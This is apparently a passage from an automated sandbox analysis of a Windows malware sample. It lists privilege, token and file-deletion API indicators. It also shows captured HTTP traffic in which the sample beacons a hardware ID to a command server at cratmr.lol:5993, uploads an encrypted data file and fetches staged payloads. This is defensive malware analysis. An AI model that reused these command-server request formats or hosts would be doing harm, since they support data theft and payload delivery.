"00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp")4c:T4d3,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004104.00000000.217254.C29E0000.00000004.mdmp, 00000000-00004104.00000001.219174.C29E0000.00000004.mdmp, 00000000-00004104.00000002.221094.C29E0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\Bras.exe" (Indicator: "\Device\"; Source: "00000000-00004104.00000000.217254.C29E0000.00000004.mdmp, 00000000-00004104.00000001.219174.C29E0000.00000004.mdmp, 00000000-00004104.00000002.221094.C29E0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007020.00000001.219090.52A80000.00000004.mdmp, 00000000-00007020.00000002.221010.52A80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin.exe" (Indicator: "\Device\"; Source: "00000000-00007020.00000001.219090.52A80000.00000004.mdmp, 00000000-00007020.00000002.221010.52A80000.00000004.mdmp") Found string "WS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00007020.00000001.219090.52A80000.00000004.mdmp, 00000000-00007020.00000002.221010.52A80000.00000004.mdmp")4d:T46e,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp")4e:Ta9d,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp, 00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00007020.00000000.217168.FE14E000.00000002.mdmp")4f:T10bd,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CopySid" (Indicator: "CopySid"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetAce" (Indicator: "GetAce"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "AddAce" (Indicator: "AddAce"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp")50:T44a,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp, 00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp")51:Tc70,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: Bras.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: Bras.exe] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: Bras.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: Bras.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: Bras.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: Bras.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Bras.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: Bras.exe] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: Bras.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: Bras.exe] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: Bras.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: Bras.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: Bras.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: Bras.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: Bras.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: Bras.exe]52:T9d4," "access_token=&debug=http://cratmr.lol:5993-74" HTTP/1.1 200 OK Server: nginx Date: Sat 25 Apr 2026 15:12:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: cratmr.lol:5993" with payload::==> "tag=3d109f3b7b06d4f3c6e8f03cbedefc55&hwid=2e0514d769be85f591ef0d9d7eeb6f4d" HTTP/1.1 200 OK Server: nginx Date: Sat 25 Apr 2026 15:12:12 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-VMMfv6wdxHvEBrp/Mz9DIksn82g" with response body ==>433B3F2B65C2807FC2A80F11C3B92109C3A3C29C291C011DC3A1C285C2BA081B38016FC383194438C39CC282C2BE092D35C2B2C39CC2B94BC3961D653C65C397....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=http://cratmr.lol:5993-854" HTTP/1.1 200 OK Server: nginx Date: Sat 25 Apr 2026 15:12:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=Lo17wPae User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 854 Host: cratmr.lol:5993" with payload::==> "--Lo17wPaeContent-Disposition: form-data; name="access_token"ac65d987-3c73-4e4c-9ac9-4e776825bc0d--Lo17wPaeContent-Disposition: form-data; name="type"0--Lo17wPaeContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamïúÑddß3yZõ×äßNã>E:ÖÕäàZ¦ýkTÙÓ}ûÊ"6pX|ñ/ò_1èÎ¬)ëbAÐ>pD8Ê@k¨.ø£´7Î}?ä~u4ò0äIO.þhîDST¡±; h0öµÊÅ·hÐIÀ6ïÇ×Rê[v?}Ó]"kèO_Èvq(Äú»»ãÓ*åa*ÞBëÖf`9ë ²lã7fè$;^dí d{kÞÝ=ÀUÂz&ãóÏ¼Õ&MVñUj{¶7Fw_"Æ Á°Ðsfïô¤Áþë¡«AÈo¦h&+÷]òÖû¬YÐ¡ØuÖE·ÄÒUÓCbÝböóì--Lo17wPae--" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:12 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=http://cratmr.lol:5993-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:13 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&step=1" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:13 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-H3MJZfjvQe6+i3Mgn1vLQdp89kI" with response body ==>C2B2C28B48C3BAC387C283C393C29139C28C17C3B9C293C2B62C3B34C38919C3AE654BC3ACC2854BC2A9C3A44CC29FC38C01C28AC38249C285C3BC3610C3B3C3......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=http://cratmr.lol:5993-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&step=2" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:14 GMT Content-Type: application/octet-stream Content-Length: 4686 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"124e-AYKJxm+qkBKOX76ZovzoO4VnJZ8" with response body ==>2BC2A30B73C38C4708766643C28967C29F36C2A7C3BF37C3B1C39750C39D392FC2B83E7D4E7119C3B26DC293283224C280C3826B41C29A4D07555607C2ABC291......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&step=3" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:15 GMT Content-Type: application/octet-stream Content-Length: 6390 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"18f6-fO5N9dDoU/jYIv8p2dtdrwLkcPM" with response body ==>07C2BEC390C28AC2A7C388C399C2ADC291457726360AC2A8403E3667C28A4A0BC38AC3981F3FC39DC3A014C2AF62C3AF66515E5A7D4FC38516C2852CC28242C3......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=http://cratmr.lol:5993-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:16 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&step=4" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:17 GMT Content-Type: application/octet-stream Content-Length: 7764 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1e54-Ey7IU6UGZdNEHp0ggTqrE0SJKSQ" with response body ==>22C28FC38324C2AE1AC28672114A10C2B8074821C2A5C395C2AFC29F64C38EC3AE71600D30C393304C2EC3AF644641C2A1C2B4C2A9C3B0C3BC782AC3B74219C3......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=http://cratmr.lol:5993-56" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&step=5" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:17 GMT Content-Type: application/octet-stream Content-Length: 44334 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad2e-lH0ncRSmioziIAD97B0ZDAEXdMQ" with response body ==>2FC393C285C3925CC39DC281C2954E4314C29BC2B367C38A48412A45C3B8C39517C3AFC399C394C3B7C2A9C2AAC2AC1FC2A24EC2B1C2AB23251141C290C2B6C2......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive 